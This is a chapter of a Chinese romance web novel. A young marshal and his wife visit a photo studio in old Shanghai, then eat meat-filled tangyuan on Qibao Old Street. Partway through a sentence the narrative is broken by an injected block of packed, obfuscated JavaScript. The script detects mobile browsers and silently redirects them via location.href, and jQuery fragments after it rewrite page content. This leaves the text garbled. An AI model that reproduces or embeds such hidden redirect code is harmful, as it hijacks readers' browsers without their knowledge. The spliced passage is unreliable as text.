顾廷璋说话算话,第二天就带她去了附近最大的德昌照相馆。
这家照相馆通体呈深褐色,门旁边是一个很大的透明玻璃,还未进去,就能看到整个照相馆前台的布局,一个跟外观一样颜色的木制桌子,旁边墙上挂满了照片。
照相馆的老板手拿一个放大镜,他全神贯注,像是在看一本相册。
他们两个人一进门,照相馆的老板先是一愣,下一秒立刻从桌子上弹起来,好像早就知道他们要来一样,神情那叫一个毕恭毕敬。
“顾少帅,您可来了,您一来,我这小馆可是蓬荜生辉啊。”
“刘馆长,我今天是带我妻子来照相的,她说她没见过相机,所以我带她来看看。”
刘馆长这才注意到顾廷璋身后看起来珠圆玉润的方琬音,他恭维道:“您和夫人真是郎才女貌,太相配了,不拍张照留作纪念那怎么行!”
方琬音朝着刘馆长颔首,然后抬头观察着墙壁上各式各样的相片。
这些相片多是一家人的合照,少数几张是双人的或者是单人的,不过方琬音观察到这些人有一个共同点,他们皆穿金戴银,其中一个孩童的帽子一看就不便宜。
是了,能有闲情逸致来照相的,多半也不是穷人或是普通人。
刘馆长引他们往后面走,那是一个很大的场地,帘子一掀开,一架褐色的三脚架映入眼帘,三脚架的最上面摆着很大的相机,那相机被一块红布盖着,相机的前方呈圆筒的形状,方琬音瞬间就想到了馆长刚刚手上拿着的那个放大镜。
相机正对着的是一张土黄色的沙发,很明显是用来拍照片的道具。
“少帅,夫人,你们看看这沙发还满意吗,如果觉得不好看的话,我们这里还有许多其他的道具。”
顾廷璋先是瞧了一眼方琬音,在询问她的意见,然后说:“先不用换了,我们每个道具都可以拍一张。”
“好的,那你们先入座,我调试一下相机。”
方琬音跟着顾廷璋到沙发那里坐下,她看到刘馆长先是拿来了一块抹布,再将相机上盖着的红布去掉,给那相机擦灰,他十分小心翼翼,不像是在擦相机,倒像是在擦自己家里的祖传宝贝。
一边擦还笑呵呵对顾廷璋说:“顾少帅,您别见怪啊,这是我们这里最名贵的一个相机,不过三日没用过了,即便有布盖着还是会有些落灰。”
方琬音瞧着,那相机通体铮亮,根本就没有多少灰尘,可见馆长是真的很喜欢自己的相机,每次使用之前都要擦拭一遍机身。
方琬音冲顾廷璋道:“你今天好像很开心?”
顾廷璋回:“是很开心,别说你没见过相机,我也是第一次照相,我母亲死的早,那个时候中国没有几架相机,我只能留住她的一张画像,我一直想着,我要是也能有一张我娘的相片就好了,不过今天算是弥补这个遗憾了,你和我娘都是在这个世界上对我来说最重要的女人,跟我娘没有照片,但是跟你会有。”
“听你说怎么这么伤感啊,那我们今天多照几张,就不会有遗憾啦。”
顾廷璋认真点头。
“少帅,夫人,相机调试好了,你们摆好姿势。”
闻言,顾廷璋的大手揽过她的腰,将她整个人往他这边挪,方琬音没有防备,嗔怪了一声,最后还是随了他的意。
刘馆长道:“对嘛,小夫妻就是要靠得近一些,两个人的眼神最好看着对方。”
明明跟这个男人最亲密的事情都做过了,但方琬音还是浑身不自在,她小幅度扭头,却发现旁边的男人早就向自己投来了灼热的目光。
随后,刘馆长迅速按下了快门,这是他们的第一张照片。
第二张照片,他们换了道具,这次为了能更拍出故事感,弄来了一张桌子和一把椅子,顾廷璋坐在椅子上,方琬音靠在桌子边,她娇俏地伸出手,他顺势牵上,整个上半身向前倾,桌子上还有作为道具的一封信。
方琬音今天穿得还是旗袍,所以馆长吩咐员工为她配一顶蕾丝边的白色帽子,这样会更有意境一些。
第三张,旁边摆了一个小柜子,上面是一个老式的唱片,柜子旁边是只能容纳两个人的小沙发,这一张,顾廷璋不知道哪里惹到了方琬音,按下快门的那一刻,拍到的是方琬音在揪他的耳朵,他因为疼痛所以张大了嘴巴,整个画面特别滑稽,馆长无心插柳柳成荫,把这一刻捕捉了下来。
出了照相馆,此时夕阳西下,很快就黑天了,两个人都没有想要回公馆的意思,顾廷璋带她去了黄浦江边。
夕阳将黄浦江的水染成金黄色,方琬音只要张开手臂,就能感受到徐徐而来的微风,不偏不倚地吹向她。
吹了一会的风,方琬音有些饿,顾廷璋载着车带他去了七宝老街,天黑下来,这里依旧有烟火气。
顾廷璋拉着她的手说道:“我五岁的时候,就是在这里,我和我娘分离了,我拿了钱,去铺子上买桂花糕,结果回来的时候,就再也找不到我娘了。”
“那个时候一定很害怕吧?”
“当然了,那种恐惧我一辈子都不会忘,我一回头,熟悉的身影不见了,而且那天好像是快过节了,这条街上人特别多,我眼前只能看到一条条攒动的腿,大人们真的很高,我感觉自己像是要被包围了一样,那天,我就在这条街上找了很久,找到天黑下来,找到别人都回家了,还是没有找到我娘,那个时候我不知道,那竟然是我跟她见的最后一面。”
方琬音安慰他道:“廷璋,我以后都会陪在你身边的,不会把你一个人丢下。”
“好了,不说这些了,我带你吃个好吃的,走。”
顾廷璋拉着她到一个摊子前,方琬音惊讶道:“汤圆?又不是元宵节,吃什么汤圆呀。”
“我就是想带你吃这个。”
顾廷璋拉着她坐下,朝老板要了一碗汤圆,一碗米酒圆子。
大约十分钟之后,汤圆好了,方琬音看着碗里一个个白白胖胖的小圆球,咽了咽口水,拿起汤匙,挖了一勺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061157|154639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送进自己嘴巴里。
“嗯?肉的?”
“对啊,肉的汤圆,我就知道你以前没吃过这个,所以带你尝尝。”
方琬音咀嚼了几下,然后咽下去,说:“嗯……我有些吃不习惯,再来一颗试试。”
她又吃了第二个鲜肉汤圆,这次她觉得味道比上一个好吃,然后又是第三个,第四个。
最后,她直接把一整晚汤圆吃光了,打了一个饱嗝。
“我好像还没吃饱,老板,再来一碗这个馅儿的汤圆。”
顾廷璋道:“刚刚是谁说的,有些吃不习惯,这么快就吃完一碗了。”
“就是因为吃不习惯所以才要多吃几个嘛,把它吃习惯。”
很快,第二碗汤圆上桌了,方琬音又陆陆续续吃了几颗。
“哎,你知道吗,小的时候我们家每次过元宵节吃的汤圆都是甜的,那种甜的汤圆第一口下去很好吃,不过当我再多吃几个的时候就会越来越腻,后来我就学聪明了,每次都只吃一颗,这样就不会对这种食物产生厌烦心理了。”
“那个时候我以为这个世界上都是甜汤圆呢,今天第一次吃到肉馅儿的,感觉还不错。”
“你喜欢吃的话,我以后就多带你来这里吃汤圆,不是元宵节也可以。”
顾廷璋拿起汤匙,想要去吃自己面前的米酒圆子,方琬音眼疾手快,在他的汤匙即将碰到吃食的时候,将碗一把挪过来。
“琬音,你干什么,我还没吃呢。”
“可是我想吃第一口。”
“你拿过来。”
“不嘛!”
方琬音尝了一口米酒圆子,连连点头:“没想到米酒味的东西这么好吃啊,甜甜的,跟其他的酒都不太一样,我要跟你换!”
顾廷璋只好宠溺着说:“好,我跟你换,你吃米酒圆子,我吃汤圆。”
方琬音见他妥协了,一边吃一边笑着,明明顾廷璋带她吃的只是路边的摊子,而不是什么高档西餐,可她就是开心。
“我想想我还有什么没有吃过的,这里有的……对了,甲鱼!我还没吃过甲鱼呢!”
“甲鱼?我怎么记得阿姨前几天才拿甲鱼煲过汤啊。”
“上次我看甲鱼长得实在太丑了,就没敢吃。”
“那你现在敢了?”
方琬音使劲点头:“我现在不怕了,我真的很想尝一口甲鱼,不过不要煲汤,要卤过的那种。”
“甲鱼适量吃可以,不过不能多吃。”
“为什么啊?”
“哪有什么为什么,甲鱼就是不能多吃,我爹告诉我的。”
“那总得有个原因吧,我不管,你赶紧告诉我。”
“具体的我也忘了,好像是甲鱼这种食物性寒,胶质又多,所以不适合多吃,而且啊,还有一股腥味,我打赌,你吃过一次之后就不会想吃了。”
“那我就尝一次。”
“行,下次有机会带你吃啊。”
“一言为定!”